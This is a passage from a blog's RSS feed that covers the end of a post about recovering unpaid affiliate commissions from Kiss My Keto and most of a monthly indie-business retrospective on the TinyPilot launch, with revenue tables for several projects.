 src="https://mtlynch.io/collect-debt/seems-fair.png" alt="Herscu responds: &amp;#39;No worries Michael. $88 seems fair to me.&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="calculating-the-debt">Calculating the debt&lt;/h2>
&lt;p>You may have noticed a logical inconsistency in my demand to Kiss My Keto. My original issue was that Kiss My Keto&amp;rsquo;s statistics seemed untrustworthy, so why was I suddenly treating everything after July 16th as reliable?&lt;/p>
&lt;p>Something changed on July 16th that was very much in my favor. Suddenly, Kiss My Keto started crediting me for sales of bread, the thing they privately had claimed was ineligible for commission. Interestingly, my first commission occurred less than 24 hours after I emailed their CEO, Alex Bird:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/collect-debt/kmk-bread-purchase.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/collect-debt/kmk-bread-purchase_hu_6764ece94d6e0249.png 300w, https://mtlynch.io/collect-debt/kmk-bread-purchase_hu_3e1f7513b50c21a3.png 600w, https://mtlynch.io/collect-debt/kmk-bread-purchase_hu_4e80ec596f42a51f.png 800w, https://mtlynch.io/collect-debt/kmk-bread-purchase.png 962w'
 src="https://mtlynch.io/collect-debt/kmk-bread-purchase.png" alt="Herscu responds: &amp;#39;No worries Michael. $88 seems fair to me.&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>That was great news for me because it gave me hard numbers to extrapolate my missing sales. When I had zero commissions, Kiss My Keto could simply claim that none of the customers who came from my site completed purchases. Without access to their internal receipts, I&amp;rsquo;d have no evidence to argue. By flipping on commissions for bread, they gave me a view into what my commissions &lt;em>should&lt;/em> have looked like the entire time.&lt;/p>
&lt;p>Since the email exchange, I&amp;rsquo;ve collected more data, and now their accounting prior to July 16th seems even more suspect:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Period&lt;/th>
 &lt;th>Days&lt;/th>
 &lt;th>Referrals&lt;/th>
 &lt;th>Credited purchases&lt;/th>
 &lt;th>Commissions&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Before emailing the CEO&lt;/td>
 &lt;td>31&lt;/td>
 &lt;td>120&lt;/td>
 &lt;td>0&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>After emailing the CEO&lt;/td>
 &lt;td>27&lt;/td>
 &lt;td>64&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>$57.48&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Fewer Is It Keto readers clicked these links in the second half because I stopped featuring Kiss My Keto as prominently on my site. I&amp;rsquo;ve since removed all mention of Kiss My Keto, as I no longer have any interest in helping them earn money, regardless of what they pay me.
&lt;/div>

&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Did Kiss My Keto pay me because I convinced them that it was the ethical and just thing to do? Probably not.&lt;/p>
&lt;p>To me, it looks like Kiss My Keto was violating their published policies, I had clear evidence of it, and $88 seemed like a cheap price to placate me. After my email to the CEO, they took down &lt;a href="https://archive.is/iyoxj">their affiliate policy page&lt;/a>, and I started receiving commissions when customers I referred purchased bread.&lt;/p>
&lt;p>Even if Kiss My Keto thought my assertions were baseless and paid me $88 just to get me to buzz off, that&amp;rsquo;s still a win. Had I huffed and puffed and told them how mad I was, they would have simply stopped responding. Herscu started at, &amp;ldquo;to put it blatantly, we&amp;rsquo;re not paying you.&amp;rdquo; Two emails later, I brought him to, &amp;ldquo;$88 seems fair to me.&amp;rdquo; Even if all I did was convince him that $88 was cheaper than dealing with whatever nuisance I might cause, The Organized Professional Method created that impression.&lt;/p>
&lt;p>I use this method frequently. Sometimes it works, and sometimes it doesn&amp;rsquo;t, but I always find it to be the least stressful way of addressing disputes. When a company engages in bad behavior, I think about these questions:&lt;/p>
&lt;ul>
&lt;li>Who in the organization can solve this problem?&lt;/li>
&lt;li>What are their incentives?&lt;/li>
&lt;li>How can I demonstrate to them that I&amp;rsquo;m organized and capable of asserting my rights?&lt;/li>
&lt;/ul>
&lt;h2 id="further-reading">Further reading&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="full-emails/">My unabridged email exchange with Kiss My Keto&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kalzumeus.com/2017/09/09/identity-theft-credit-reports/">&amp;ldquo;Identity Theft, Credit Reports, and You&amp;rdquo;&lt;/a>: Patrick McKenzie&amp;rsquo;s article that taught me these techniques&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 1</title><link>https://mtlynch.io/retrospectives/2020/08/</link><pubDate>Wed, 05 Aug 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/08/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>This is my highest revenue month ever, at $9.8k across all of my projects.&lt;/li>
&lt;li>&lt;a href="https://tinypilotkvm.com/">Tiny Pilot&lt;/a> had the biggest first month of anything I&amp;rsquo;ve ever launched, at 52 sales and $8.7k in revenue.&lt;/li>
&lt;li>The sudden surge in customers also made it one of my highest-stress months since &lt;a href="https://mtlynch.io/why-i-quit-google/">going full-time to work for myself&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>This is my highest revenue month ever, at $9.8k across all of my projects.&lt;/li>
&lt;li>&lt;a href="https://tinypilotkvm.com/">Tiny Pilot&lt;/a> had the biggest first month of anything I&amp;rsquo;ve ever launched, at 52 sales and $8.7k in revenue.&lt;/li>
&lt;li>The sudden surge in customers also made it one of my highest-stress months since &lt;a href="https://mtlynch.io/why-i-quit-google/">going full-time to work for myself&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-blog-post-about-tinypilot">Publish a blog post about TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://mtlynch.io/tinypilot/">&amp;ldquo;TinyPilot: Build a KVM Over IP for Under $100,&amp;rdquo;&lt;/a> which attracted 48k readers in its first week&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This post took a long time to write, as it involved lots of screenshots, product photos, and a video demo. I&amp;rsquo;m happy with the way it turned out. The surge in sales definitely made the extra effort feel justified.&lt;/p>
&lt;h3 id="sell-10-tinypilot-units">Sell 10 TinyPilot units&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Sold 52 TinyPilot units&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>Prior to my blog post, I had only sold two TinyPilot kits. The article led to a burst of orders, far exceeding my goal.&lt;/p>
&lt;h3 id="write-up-the-interviews-i-promised-to-my-keto-interviewees">Write up the interviews I promised to my keto interviewees&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published the interviews to &lt;a href="https://ketocornerstone.com/">Keto Cornerstone&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Keto Cornerstone was a &lt;a href="https://mtlynch.io/retrospectives/2020/07/#validating-keto-product-ideas">project idea I had in June&lt;/a> that I&amp;rsquo;ve since abandoned. Still, I had interviewed people with the promise of publishing their stories, so I wanted to honor that commitment. I &lt;a href="https://ketocornerstone.com/stories">put up their interviews&lt;/a> and tried to make the website look decent, but it&amp;rsquo;s safe to say that project is now dead.&lt;/p>
&lt;h2 id="tinypilot-stats">TinyPilot stats&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>51&lt;/td>
 &lt;td>4,930&lt;/td>
 &lt;td>&lt;font color="green">+4,879 (+9567%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>220&lt;/td>
 &lt;td>10,427&lt;/td>
 &lt;td>&lt;font color="green">+10,207 (+4640%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$173.94&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$8,741.37&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$8,567.43 (+4926%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Obviously, this was a huge launch month for TinyPilot, and sales went far better than I expected.&lt;/p>
&lt;p>Revenue is misleading because it&amp;rsquo;s a hardware kit, so my costs per-unit are significant. It&amp;rsquo;s difficult to calculate profits accurately because I&amp;rsquo;m buying a lot of inventory in advance, so it would be tedious to dissect my receipts to isolate the costs associated with the units I&amp;rsquo;ve already sold. Instead, I&amp;rsquo;ll say that my margins are around 40-50%, so the profit for the month was around $4k.&lt;/p>
&lt;h2 id="aligning-my-blog-with-my-business-finally">Aligning my blog with my business (finally)&lt;/h2>
&lt;p>For the past few years, I&amp;rsquo;ve had several minor hit blog posts, attracting 30k-200k readers the week I publish them. They&amp;rsquo;ve also been relatively successful on tech social media sites like Reddit, Twitter, and Hacker News.&lt;/p>
&lt;p>For most indie developers, reaching #1 on Hacker News would be a massive boon to their business. My problem has always been that my businesses cater to a different market than my blog audience. Nobody says, &amp;ldquo;I really like Michael&amp;rsquo;s &lt;a href="https://mtlynch.io/human-code-reviews-1/">opinions on code reviews&lt;/a>. Now, I&amp;rsquo;m going to visit &lt;a href="https://isitketo.org/">his keto website&lt;/a> and purchase a lot of food through his affiliate links.&amp;rdquo;&lt;/p>
&lt;p>I knew the &lt;a href="https://mtlynch.io/tinypilot/">TinyPilot blog post&lt;/a> would be different before I published it. The audience for that article obviously had a strong overlap with likely customers of my &lt;a href="https://tinypilotkvm.com/">TinyPilot kits&lt;/a>. If I could attract interest in the blog post, sales would likely follow.&lt;/p>
&lt;p>Fortunately, the blog post got a positive response. It reached the #1 spot on Hacker News and stayed there for most of the day. It attracted 22k readers on its first day and 52k total since then.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 635px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/08/hn-no-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 635px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/08/hn-no-1_hu_c8794866325b1908.png 300w, https://mtlynch.io/retrospectives/2020/08/hn-no-1_hu_5104228919a8bd81.png 600w, https://mtlynch.io/retrospectives/2020/08/hn-no-1.png 633w'
 src="https://mtlynch.io/retrospectives/2020/08/hn-no-1.png" alt="Screenshot of TinyPilot blog post at #1 slot" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/08/reddit-submissions.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/08/reddit-submissions_hu_c46f63dfb5d879d8.png 300w, https://mtlynch.io/retrospectives/2020/08/reddit-submissions_hu_1ab76fd4048f9a45.png 600w, https://mtlynch.io/retrospectives/2020/08/reddit-submissions.png 748w'
 src="https://mtlynch.io/retrospectives/2020/08/reddit-submissions.png" alt="Screenshot of TinyPilot submissions on reddit" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My TinyPilot blog post received a positive reception on Hacker News and several popular subreddits.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The downside of this response was that I underestimated demand. I only had enough inventory on hand to ship nine kits, so I was sold out midday through my blog post launch.&lt;/p>
&lt;p>It&amp;rsquo;s a shame I wasn&amp;rsquo;t able to capitalize better on the surge of interest, but I was nervous about buying thousands of dollars of inventory in the event that my product flopped. Looking back, I should have been more strategic in pre-buying inventory. The HDMI dongles ship the slowest, but they&amp;rsquo;re also one of the cheapest pieces. I could have simply ordered 100 of those along with some of the other low-cost parts. That would have allowed me to manage a surge by rush-ordering the rest and get back in business within 2-3 days.&lt;/p>
&lt;h2 id="managing-inventory-is-hard">Managing inventory is hard&lt;/h2>
&lt;p>Ever since the blog post, managing inventory has taken up 30% of my time and occupied 80% of my thoughts. I keep obsessively checking delivery status on all of my orders and worrying that my orders will grind to a halt because I run out of one piece of the kit.&lt;/p>
&lt;p>As of this writing, I could clear my 22-order backlog right now, but I&amp;rsquo;m out of &lt;a href="https://smile.amazon.com/gp/product/B07D9R5JFK/">USB to TTL cables&lt;/a>. That was a part I never worried about sourcing because it consistently arrived within two days of my order. Now turnaround has ballooned to one week, possibly because I&amp;rsquo;m competing with my readers for a limited supply.&lt;/p>
&lt;p>Here are some other scaling issues I&amp;rsquo;ve discovered in managing inventory for physical goods:&lt;/p>
&lt;ul>
&lt;li>When you have 10-20 orders in transit at once across different merchants, it becomes difficult to track what you need and when a full set will be available.&lt;/li>
&lt;li>Delivery estimates decrease in accuracy and consistency when you order in larger quantities.&lt;/li>
&lt;li>Certain suppliers cap online orders to 10 units and only take larger quantities through purchase orders via email, which add 2-3 business days.&lt;/li>
&lt;li>When you order thousands of dollars in inventory, your credit card maxes out.&lt;/li>
&lt;li>When you order items from Chinese merchants, your credit card gets flagged for fraud.&lt;/li>
&lt;li>You can get stuck on shipping by running out of items that you don&amp;rsquo;t typically think of as &amp;ldquo;inventory&amp;rdquo; like cardboard boxes, bubble wrap, or tape.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve searched for inventory management software to match my use case but come up empty. The simple apps don&amp;rsquo;t understand the concept of raw materials and assume that everything in your inventory is an item you&amp;rsquo;d sell as-is. The complex options support my use-case, which they call &amp;ldquo;kitting,&amp;rdquo; but they also assume that I have multiple warehouses, shipping clerks, and purchase orders. They also cost $80-500/month, which feels too steep at this point.&lt;/p>
&lt;p>My current solution is a dopey spreadsheet where I track all the parts I need along with what I have in stock and what&amp;rsquo;s in transit. It&amp;rsquo;s an inelegant solution, but it&amp;rsquo;s mostly working in the short term.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/08/tinypilot-inventory.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/08/tinypilot-inventory_hu_ba6724e7a13faa49.png 300w, https://mtlynch.io/retrospectives/2020/08/tinypilot-inventory_hu_2859c924c6b342b.png 600w, https://mtlynch.io/retrospectives/2020/08/tinypilot-inventory_hu_8ee72cf63fc03a6f.png 800w, https://mtlynch.io/retrospectives/2020/08/tinypilot-inventory_hu_af21a2baa5115da9.png 1200w, https://mtlynch.io/retrospectives/2020/08/tinypilot-inventory.png 2104w'
 src="https://mtlynch.io/retrospectives/2020/08/tinypilot-inventory.png" alt="Screenshot of a spreadsheet tracking all of my in transit orders" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My TinyPilot inventory spreadsheet&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m hoping that once I get through this backlog, inventory won&amp;rsquo;t be so complicated. For each part, I can set a range of units I want to keep in stock and resupply when I fall below the lower threshold. Hopefully, I can pick numbers high enough to absorb spikes in purchases and have enough left to sustain me until a delivery of new parts arrives.&lt;/p>
&lt;h2 id="managing-stress-is-harder">Managing stress is harder&lt;/h2>
&lt;p>One of the unexpected side effects of a successful project has been stress.&lt;/p>
&lt;p>I generally do a good job of turning off my work brain at dinnertime and pick things up the following morning. The first week after the blog post, I was fretting about TinyPilot constantly. I slept only 3-4 hours per night for four days after the blog post. I wasn&amp;rsquo;t up late doing anything useful, just ruminating on worst-case scenarios.&lt;/p>
&lt;p>At the time of the sales rush, only two people had ever used TinyPilot, and one of them was me. I successfully tested it on two of my servers, but what if there were huge classes of hardware that were incompatible for some reason? I had used TinyPilot for real work tasks, but what if there was some common use case where it failed miserably? Was Raspberry Pi even the right hardware for TinyPilot, or should I switch to another platform before spending thousands on inventory?&lt;/p>
&lt;p>After a week, all of the paying customers I spoke to said they were up and running with no issues, and they seemed delighted with the product. That relaxed me and eliminated a major class of worry. I then moved on to worrying about inventory and shipping logistics, but I&amp;rsquo;m feeling more comfortable now that I&amp;rsquo;m moving toward a sustainable system.&lt;/p>
&lt;p>The stress of the project is lower now that things feel under control. My sleep has returned to normal, though I still find it difficult to shut off once I stop working for the day.&lt;/p>
&lt;h2 id="how-can-i-make-tinypilot-sustainable">How can I make TinyPilot sustainable?&lt;/h2>
&lt;p>Currently, customers can build TinyPilot without purchasing anything from me. The DIY nature was, of course, what drew people to my blog post.&lt;/p>
&lt;p>People do still order official TinyPilot kits, and I believe there are two reasons:&lt;/p>
&lt;ol>
&lt;li>They prefer to receive an all-in-one kit rather than ordering their parts piecemeal.&lt;/li>
&lt;li>They&amp;rsquo;re essentially donating money to me to show appreciation for the project.&lt;/li>
&lt;/ol>
&lt;p>The problem is that neither of these is a particularly strong incentive. The majority of people likely prefer to pay 50% less by ordering their own parts.&lt;/p>
&lt;p>The blog post led to a spike in sales, but sales have dwindled since then. There were two orders last week and only one this week. Granted, I&amp;rsquo;ve paused marketing and listed the items as backordered, but I suspect that the initial orders were mostly a temporary wave.&lt;/p>
&lt;p>The day my blog post went up and drove $4k in sales, my girlfriend jokingly said, &amp;ldquo;Oh, great! You should do that every day.&amp;rdquo; The problem is obviously that I can&amp;rsquo;t hit the front page of Hacker News every day. I need something I can offer to customers that provides enough value to them that they&amp;rsquo;ll pay, even when TinyPilot isn&amp;rsquo;t a shiny new project.&lt;/p>
&lt;p>I&amp;rsquo;m looking for ways to make what I offer to customers more valuable than what they can build on their own, and I see the following three options:&lt;/p>
&lt;ol>
&lt;li>Offer custom enclosures/cases, so it feels more like a self-contained product than a collection of hobbyist parts.&lt;/li>
&lt;li>Offer custom hardware that&amp;rsquo;s optimized for TinyPilot&amp;rsquo;s functionality.&lt;/li>
&lt;li>Offer paid software features.&lt;/li>
&lt;/ol>
&lt;p>Because I&amp;rsquo;m a software developer, I&amp;rsquo;m leaning toward (3).&lt;/p>
&lt;p>Last Friday, I put up a teaser for &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a> and braced myself for a backlash from people who felt betrayed that I&amp;rsquo;m not staying pure and open source, but there&amp;rsquo;s been no pushback yet.&lt;/p>
&lt;p>Several customers have asked for cloud management features, which sound lucrative but also require major adjustments to my lifestyle. The idea is that TinyPilots could phone home to a cloud server, and then customers would be able to access their devices anywhere on the Internet without configuring VPNs or firewall rules. This would be an obvious way to collect recurring revenue because users would likely pay upwards of $50/month for TinyPilot cloud management.&lt;/p>
&lt;p>The problem is that an outage of this service would be A Big Deal, so I&amp;rsquo;d have to stay on-call constantly. I highly value my freedom to disconnect from work, so offering such a service would add significant stress to my life. It&amp;rsquo;s possible that I can partner with a larger company like &lt;a href="https://remote.it/">remote.it&lt;/a> for this service, but that also potentially gives the vendor excessive control over my business.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>46,386&lt;/td>
 &lt;td>48,231&lt;/td>
 &lt;td>&lt;font color="green">+1,845 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>109,721&lt;/td>
 &lt;td>118,980&lt;/td>
 &lt;td>&lt;font color="green">+9,259 (+8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>8.0&lt;/td>
 &lt;td>8.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$85.81&lt;/td>
 &lt;td>$208.86&lt;/td>
 &lt;td>&lt;font color="green">+$123.05 (+143%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$94.85&lt;/td>
 &lt;td>$134.45&lt;/td>
 &lt;td>&lt;font color="green">+$39.60 (+42%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Other Affiliate Earnings&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$26.60&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$180.66&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$369.91&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$189.25 (+105%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Over the past two months, I tried shifting Is It Keto&amp;rsquo;s ads away from AdSense and Amazon and towards &lt;a href="https://mtlynch.io/retrospectives/2020/07/#being-an-affiliate-sucks">direct affiliate partnerships&lt;/a> and &lt;a href="https://mtlynch.io/retrospectives/2020/07/#validating-keto-product-ideas">landing pages for my sister products&lt;/a>. Direct deals earned almost zero revenue, and I even caught one company &lt;a href="https://www.reddit.com/r/juststart/comments/hsfaq7/how_to_deal_with_merchant_who_is_defrauding/">cheating their affiliates&lt;/a>. I&amp;rsquo;ve switched the ads back to 100% boring AdSense and Amazon ads, which is why ad revenue is back up.&lt;/p>
&lt;p>The site&amp;rsquo;s metrics are strong enough that I now qualify to apply to the &lt;a href="https://www.adthrive.com/">AdThrive network&lt;/a>. According to some reports I&amp;rsquo;ve seen, AdThrive beats AdSense&amp;rsquo;s payouts by 2-8x, which would be a gamechanger for Is It Keto.&lt;/p>
&lt;p>It&amp;rsquo;s now been two months since I used &lt;a href="https://mtlynch.io/retrospectives/2020/05/#venturing-into-auto-generated-pages">programmatic page generation&lt;/a> to &lt;a href="https://mtlynch.io/retrospectives/2020/06/#add-100-new-articles-to-is-it-keto">grow Is It Keto&amp;rsquo;s content by 50%&lt;/a>. It&amp;rsquo;s still unclear if that&amp;rsquo;s working. The new pages account for only 7.6k clicks from Google Search in the last three months out of 122k total, but it&amp;rsquo;s possible that they&amp;rsquo;re still growing and leading to more pageviews once visitors are on the site.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>369&lt;/td>
 &lt;td>440&lt;/td>
 &lt;td>&lt;font color="green">+71 (+19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>995&lt;/td>
 &lt;td>1,247&lt;/td>
 &lt;td>&lt;font color="green">+252 (+25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$5.86&lt;/td>
 &lt;td>$18.05&lt;/td>
 &lt;td>&lt;font color="green">+$12.19 (+208%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Plan Earnings&lt;/td>
 &lt;td>$679.40&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$679.40 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$685.26&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$18.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$667.21 (-97%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful had a quiet month. There were no new inbound inquiries. The small customer who signed up for an enterprise plan last month chose not to renew, as expected. Earnings on RapidAPI remained in the sub-$100 range.&lt;/p>
&lt;h3 id="mtlynchio-this-blog">mtlynch.io (this blog)&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>12,518&lt;/td>
 &lt;td>49,957&lt;/td>
 &lt;td>&lt;font color="green">+37,439 (+299%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>25,042&lt;/td>
 &lt;td>79,921&lt;/td>
 &lt;td>&lt;font color="green">+54,879 (+219%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Amazon Affiliate Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$39.02&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$649.45&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$610.43 (+1564%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I generally don&amp;rsquo;t track stats for this blog, but I&amp;rsquo;m including them this month exclusively for a brag I want to make in the following section.&lt;/p>
&lt;p>Revenue-wise, July was an outlier month for the blog because many readers purchased equipment to make their own TinyPilots through the &lt;a href="https://mtlynch.io/tinypilot/#parts-list">affiliate links in my tutorial&lt;/a>.&lt;/p>
&lt;h3 id="revenue-summary">Revenue summary&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>TinyPilot&lt;/td>
 &lt;td>$173.94&lt;/td>
 &lt;td>$8,741.37&lt;/td>
 &lt;td>&lt;font color="green">+$8,567.43 (+4926%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Is It Keto&lt;/td>
 &lt;td>$180.66&lt;/td>
 &lt;td>$369.91&lt;/td>
 &lt;td>&lt;font color="green">+$189.25 (+105%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Zestful&lt;/td>
 &lt;td>$685.26&lt;/td>
 &lt;td>$18.05&lt;/td>
 &lt;td>&lt;font color="red">-$667.21 (-97%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>mtlynch.io&lt;/td>
 &lt;td>$39.02&lt;/td>
 &lt;td>$649.45&lt;/td>
 &lt;td>&lt;font color="green">$610.43 (+1564%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,078.88&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$9,778.78&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$8,699.90 (+806%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>July was the strongest revenue month I&amp;rsquo;ve ever had. In fact, it&amp;rsquo;s $200 higher than &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#how-i-made-and-spent-money">my revenue from all of 2018 and 2019, combined&lt;/a>. It brings me to $13.1k for 2020, and makes my goal of &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#goals-for-year-three">$20k in revenue by the end of 2020&lt;/a> seem very possible.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Launched TinyPilot and sold 52 units.&lt;/li>
